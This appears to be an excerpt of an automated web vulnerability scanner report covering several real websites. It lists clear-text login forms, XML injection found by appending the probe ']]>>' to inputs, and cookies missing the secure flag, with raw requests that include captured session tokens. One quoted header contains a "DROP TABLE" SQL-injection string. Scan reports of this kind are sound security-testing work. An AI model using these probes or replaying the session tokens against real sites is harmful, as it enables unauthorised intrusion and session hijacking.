GET /blogs/juice-analytics HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 61828 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 01 Feb 2011 14:26:28 GMT Connection: close
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://it.toolbox.com/blogs/minimalit
The form contains the following password field:
ctl00$ctl00$m$txtSignin_Password
Request
GET /blogs/minimalit HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 60029 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 01 Feb 2011 14:26:29 GMT Connection: close
GET /blogs/penguinista-databasiensis HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 46021 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 01 Feb 2011 14:26:27 GMT Connection: close
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://it.toolbox.com/blogs/ppmtoday
The form contains the following password field:
ctl00$ctl00$m$txtSignin_Password
Request
GET /blogs/ppmtoday HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 63632 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 01 Feb 2011 14:26:25 GMT Connection: close
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://wp-superslider.com/site/wp-login.php
The form contains the following password field:
pwd
Request
GET / HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /meetme.aspx HTTP/1.1 Host: www.plentyoffish.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmx=9489908.00012890560422417014:1:0-1-1-0; my_ipcountry=1; __utmxx=9489908.00012890560422417014:3738630:2592000; __utmz=9489908.1296523584.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmx_k_210735692=1; __utma=9489908.1831818404.1296523584.1296523584.1296523584.1; ft=Monday, January 31, 2011 5:25:37 PM; __utmc=9489908; __utmb=9489908.5.10.1296523584; ASP.NET_SessionId=enhftrh2rwh40ylxbcdqkhlw;
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 01 Feb 2011 01:29:26 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 4.0.30319 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 4311
<html><head><title>Find Singles with Plentyoffish FREE Online Dating Personals Service</title>
<META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE"> <META HTTP-EQUIV="PRAGMA" CONTENT="N ...[SNIP]... </a> and find singles who are looking to meet other quality singles for dating, love, and a relationship!
GET /domain/static.2mdn.net/new/x22 HTTP/1.1 Host: www.reddit.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Server: '; DROP TABLE servertypes; -- Date: Wed, 02 Feb 2011 19:30:39 GMT Content-Length: 27361 Connection: close
GET /domain/static.2mdn.net/new/x22 HTTP/1.1 Host: www.reddit.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Server: '; DROP TABLE servertypes; -- Date: Wed, 02 Feb 2011 19:30:39 GMT Content-Length: 27361 Connection: close
GET /domain/static.2mdn.net/x22 HTTP/1.1 Host: www.reddit.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Server: '; DROP TABLE servertypes; -- Date: Wed, 02 Feb 2011 19:30:39 GMT Content-Length: 27361 Connection: close
GET /domain/static.2mdn.net/x22 HTTP/1.1 Host: www.reddit.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Server: '; DROP TABLE servertypes; -- Date: Wed, 02 Feb 2011 19:30:39 GMT Content-Length: 27361 Connection: close
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.shape.com/kickapps/public/ajax-login
The form contains the following password field:
password
Request
GET /workouts/articles/blood_sugar.html HTTP/1.1 Host: www.shape.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Date: Tue, 01 Feb 2011 14:33:57 GMT Server: Apache Cache-Control: max-age=900 Location: http://www.shape.com/workouts/articles/blood-sugar.html X-Server-Name: (null) ETag: "1296570837" Last-Modified: Tue, 01 Feb 2011 14:33:57 +0000 X-Powered-By: PHP/5.2.9 Via: HTTP/1.1 cdn.shape.com (MII-WSD/1.4) X-Pb-Mii: Powered by Mirror Image Internet Expires: Tue, 01 Feb 2011 14:48:56 GMT Content-Type: text/html; charset=utf-8 Age: 2 Via: 1.1 mdw107101 (MII-APC/1.6) Connection: close Content-Length: 27153
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.shape.com/kickapps/public/ajax-login
The form contains the following password field:
password
Request
GET /workouts/articles/workout_schedule.html HTTP/1.1 Host: www.shape.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Date: Tue, 01 Feb 2011 14:33:57 GMT Server: Apache Cache-Control: max-age=900 Location: http://www.shape.com/workouts/articles/workout-schedule.html X-Server-Name: (null) ETag: "1296570837" Last-Modified: Tue, 01 Feb 2011 14:33:57 +0000 X-Powered-By: PHP/5.2.9 Via: HTTP/1.1 cdn.shape.com (MII-WSD/1.4) X-Pb-Mii: Powered by Mirror Image Internet Expires: Tue, 01 Feb 2011 14:48:56 GMT Content-Type: text/html; charset=utf-8 Age: 0 Via: 1.1 mdw107102 (MII-APC/1.6) Connection: close Content-Length: 27158
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.threatexpert.com/signin.aspx
The form contains the following password field:
Login1$Password
Request
GET /signin.aspx HTTP/1.1 Host: www.threatexpert.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=118387404.1296664190.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=118387404.1635200381.1296664190.1296664190.1296664190.1; __utmc=118387404; __utmb=118387404; ASP.NET_SessionId=e1exr355bmeecgqulqgwxiu0;
Response
HTTP/1.1 200 OK Connection: close Date: Thu, 03 Feb 2011 04:05:39 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 11441
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.threatexpert.com/signup.aspx
The form contains the following password fields:
txtPassword
txtPassword2
Request
GET /signup.aspx HTTP/1.1 Host: www.threatexpert.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=118387404.1296664190.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=118387404.1635200381.1296664190.1296664190.1296664190.1; __utmc=118387404; __utmb=118387404; ASP.NET_SessionId=e1exr355bmeecgqulqgwxiu0;
Response
HTTP/1.1 200 OK Connection: close Date: Thu, 03 Feb 2011 04:05:47 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 18583
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
GET /boobitrap/eCheck.php HTTP/1.1 Host: www.untraceableemail.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 16:15:20 GMT Server: Apache/2.2.9 (Fedora) Set-Cookie: Apache=173.193.214.243.1296663320848847; path=/; expires=Wed, 09-Mar-11 16:15:20 GMT Content-Length: 1740 Connection: close Content-Type: text/html; charset=UTF-8
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.worldmastiffforum.com/register
The form contains the following password field:
pw
Request
GET / HTTP/1.1 Host: www.worldmastiffforum.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
XML or SOAP injection vulnerabilities arise when user input is inserted into a server-side XML document or SOAP message in an unsafe way. It may be possible to use XML metacharacters to modify the structure of the resulting XML. Depending on the function in which the XML is used, it may be possible to interfere with the application's logic, to perform unauthorised actions or access sensitive data.
This kind of vulnerability can be difficult to detect and exploit remotely; you should review the application's response, and the purpose which the relevant input performs within the application's functionality, to determine whether it is indeed vulnerable.
Issue remediation
The application should validate or sanitise user input before incorporating it into an XML document or SOAP message. It may be possible to block any input containing XML metacharacters such as < and >. Alternatively, these characters can be replaced with the corresponding entities: < and >.
The format parameter appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the format parameter. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/xml; charset=utf-8 Vary: Accept-Encoding Server: Microsoft-IIS/7.5 X-AspNetMvc-Version: 2.0 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Sat, 05 Feb 2011 14:19:24 GMT Content-Length: 2045
<?xml version="1.0" encoding="utf-8"?><root><result><DynamicSymbology><Symbol>$INDU</Symbol><CompanyName>Dow Jones Industrial Average Index</CompanyName><Country>US</Country><Type>Index</Type></Dynami ...[SNIP]...
The ASP.NET_SessionId cookie appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the ASP.NET_SessionId cookie. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /member23010679.htm HTTP/1.1 Host: www.plentyoffish.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmx=9489908.00012890560422417014:1:0-1-1-0; my_ipcountry=1; __utmxx=9489908.00012890560422417014:3738630:2592000; __utmz=9489908.1296523584.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmx_k_210735692=1; __utma=9489908.1831818404.1296523584.1296523584.1296523584.1; ft=Monday, January 31, 2011 5:25:37 PM; __utmc=9489908; __utmb=9489908.5.10.1296523584; ASP.NET_SessionId=enhftrh2rwh40ylxbcdqkhlw]]>>;
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 01 Feb 2011 01:34:04 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 4.0.30319 Set-Cookie: ASP.NET_SessionId=rgz2kvl4hvurh5cb0uty2fmr; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 16511
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /js.ng]]>>/site=orbitz&Section=flightstatus&adsize=300x250&pos=left&Params.richmedia=&channel=travelerupdate&dest=&sessionID=50cd97fbd27584ff66dda9b41d9d34e0&CookieName=OSC&tile=12966613625991 HTTP/1.1 Host: www.revresda.com Proxy-Connection: keep-alive Referer: http://updates.orbitz.com/flight_status Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NGUserID=aebaa22-3554-1360392959-4
Response
HTTP/1.1 404 Not Found Retry-After: 0 Content-Type: text/html; charset=utf-8 ntCoent-Length: 277 Date: Sat, 05 Feb 2011 14:23:01 GMT Age: 0 Connection: close Server: Apache Cache-Control: private Set-Cookie: NSC_xxx.sfwsfteb.dpn.80_gxe=ffffffff09e388be45525d5f4f58455e445a4a423660;path=/ Content-Length: 277
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html> <head> <title>404 Not Found</tit ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /js.ng]]>>/site=orbitz&Section=flightstatus&adsize=300x250&pos=right&Params.richmedia=&channel=travelerupdate&dest=&sessionID=50cd97fbd27584ff66dda9b41d9d34e0&CookieName=OSC&tile=12966613625991 HTTP/1.1 Host: www.revresda.com Proxy-Connection: keep-alive Referer: http://updates.orbitz.com/flight_status Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NGUserID=aebaa22-3554-1360392959-4
Response
HTTP/1.1 404 Not Found Retry-After: 0 Content-Type: text/html; charset=utf-8 ntCoent-Length: 277 Date: Sat, 05 Feb 2011 14:23:22 GMT Age: 0 Connection: close Server: Apache Cache-Control: private Set-Cookie: NSC_xxx.sfwsfteb.dpn.80_gxe=ffffffff09e388be45525d5f4f58455e445a4a423660;path=/ Content-Length: 277
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html> <head> <title>404 Not Found</tit ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /js.ng]]>>/site=orbitz&Section=flightstatus&adsize=300x250&pos=top&Params.richmedia=&channel=travelerupdate&dest=&sessionID=50cd97fbd27584ff66dda9b41d9d34e0&CookieName=OSC&tile=12966613625991 HTTP/1.1 Host: www.revresda.com Proxy-Connection: keep-alive Referer: http://updates.orbitz.com/flight_status Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NGUserID=aebaa22-3554-1360392959-4
Response
HTTP/1.1 404 Not Found Retry-After: 0 Content-Type: text/html; charset=utf-8 ntCoent-Length: 277 Date: Sat, 05 Feb 2011 14:23:40 GMT Age: 0 Connection: close Server: Apache Cache-Control: private Set-Cookie: NSC_xxx.sfwsfteb.dpn.80_gxe=ffffffff09e388be45525d5f4f58455e445a4a423660;path=/ Content-Length: 277
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html> <head> <title>404 Not Found</tit ...[SNIP]...
7. SSL cookie without secure flag setpreviousnext There are 44 instances of this issue:
If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie's scope. An attacker may be able to induce this event by feeding a user suitable links, either directly or via another web site. Even if the domain which issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form http://example.com:443/ to perform the same attack.
Issue remediation
The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: ads.pof.com Connection: keep-alive Referer: http://www.plentyoffish.com/advertising.aspx Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Vary: Accept-Encoding Server: Microsoft-IIS/7.0 Set-Cookie: ASP.NET_SessionId=pf1zsia2vewc4vhyyu3ymws5; path=/; HttpOnly X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Sat, 05 Feb 2011 14:20:10 GMT Content-Length: 25885
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Local o ...[SNIP]...
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: careers.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Found Cache-Control: private Content-Type: text/html; charset=utf-8 Location: http://careers.microsoft.com/gclp.aspx Server: Microsoft-IIS/7.0 Set-Cookie: ASP.NET_SessionId=ysf2phmmwmrwurexvwe3yi45; path=/; HttpOnly Set-Cookie: ASP.NET_SessionId=tljzinbvi22wraeeaodbwt45; path=/; HttpOnly Set-Cookie: SessionProfile=ysf2phmmwmrwurexvwe3yi45; path=/; secure X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Date: Tue, 01 Feb 2011 15:30:46 GMT Connection: close Content-Length: 155
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="http://careers.microsoft.com/gclp.aspx">here</a>.</h2> </body></html>
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: faq.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:24:12 GMT P3P: policyref="https://faq.orbitz.com/rnt/rnw/p3p/rnw_p3p_ref.xml",CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV" Set-Cookie: cp_session=UykAdAJ2BCBXPwJyVkoGTgI0UkUEEgIuB21baAMjAHoBcwdrByFVbA4tBA4BKQJ3UWYBIAIiUTkBalZqAQgBegtBCmFUGAMlUVsETgA9BVZTAQACAk8ERFdUAmNWbQZ0AmdSdwRsAmsHI1t%2B; path=/ RNT-Time: D=288769 t=1296573852057408 RNT-Machine: 01 F5_do_compression: yes Connection: close Content-Type: text/html; charset=UTF-8 Set-Cookie: TS2744aa=b86dc7ce556c42b11585c5072c4ea4e4605623f144bde6d64d48259c; Path=/ Content-Length: 69705
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US">
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /app/answers/detail/a_id/15644 HTTP/1.1 Host: faq.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:24:11 GMT P3P: policyref="https://faq.orbitz.com/rnt/rnw/p3p/rnw_p3p_ref.xml",CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV" Set-Cookie: cp_session=VC4CdgB0AycDawNzU2UCVQRTVkABFwcrBG5baFZ2VC4DcVQ8AScCO1BgWCJQdQh7WysHb1V9ACNSNwQJBjpUZAMnAWNQcAhvUTQFOlZmAzRUdwIpACsDJwM0A3NTOgIhBFxWKwEnBzYEcVtwVj1UbQM9VAEBKgJNUGNYSFBlCEJbcwcQVXAAYlJkBDoGOFRMAzcBD1AFCAtRMQVeVhYDZVQSAiwAdQMnAyw%3D; path=/ RNT-Time: D=294074 t=1296573851351523 RNT-Machine: 05 F5_do_compression: yes Connection: close Content-Type: text/html; charset=UTF-8 Set-Cookie: TS8118ae=ea207c4d029b321ea2f9a03a1b4ba8facb1b7ea06212bb0d4d48259b; Path=/ Content-Length: 68477
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US">
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /xbe/rez.aspx?Chain=5303&start=1&hotel=11536&arrive=02%2F01%2F2011&nights=1&adult=1&child=0&rooms=1&group=&promo=ushoyt&iata=&step=2&mboxSession=1296573995979-796819 HTTP/1.1 Host: gc.synxis.com Connection: keep-alive Referer: http://www.millenniumhotels.com/millenniumboston/index.html Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:23:49 GMT Server: hi Status: 200 OK X-Transaction: 1296663829-29665-12597 ETag: "5bfef3a89d06a35d313b487532fda84d" Last-Modified: Wed, 02 Feb 2011 16:23:49 GMT X-Runtime: 0.01202 Content-Type: text/html; charset=utf-8 Content-Length: 43870 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /about HTTP/1.1 Host: twitter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: original_referer=4bfz%2B%2BmebEkRkMWFCXm%2FCUOsvDoVeFTl; __utmv=43838368.lang%3A%20en; guest_id=129452629042599503; __utmz=43838368.1296314194.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/92; auth_token=; __utma=43838368.1078689092.1296223511.1296521894.1296663641.5; _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwOgdp%250AZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNhODkiCmZsYXNoSUM6%250AJ0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7BjoLbm90aWNl%250AMAY6CkB1c2VkewY7ClQ%253D--5a2e49e97d480d46a9c20e3da4ca89031ded8efb; __utmc=43838368; __utmb=43838368.3.10.1296663641; k=173.193.214.243.1296227675375304;
Response
HTTP/1.0 200 OK Date: Wed, 02 Feb 2011 16:23:49 GMT Server: hi Status: 200 OK X-Transaction: 1296663829-39741-2650 ETag: "185a712cbbe04170b42cfcfa825d496a" Last-Modified: Wed, 02 Feb 2011 16:23:49 GMT X-Runtime: 0.04372 Content-Type: text/html; charset=utf-8 Content-Length: 15205 Pragma: no-cache X-Revision: DEV Expires: Tue, 31 Mar 1981 05:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: _twitter_sess=BAh7CjoPY3JlYXRlZF9hdGwrCPJPud4tAToMY3NyZl9pZCIlZmM1MjY1NTU4%250AZjcyOWZjODA5MTJiYTUwZWE4ZDlhMzc6FWluX25ld191c2VyX2Zsb3cwIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOgdpZCIlMGVlOWJhOTNiMzdlODNmODU1NTg3NTBiY2U0NmNh%250AODk%253D--bba436ff6544a757e8daffd78a6aea9727118972; domain=.twitter.com; path=/ X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Vary: Accept-Encoding Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta htt ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
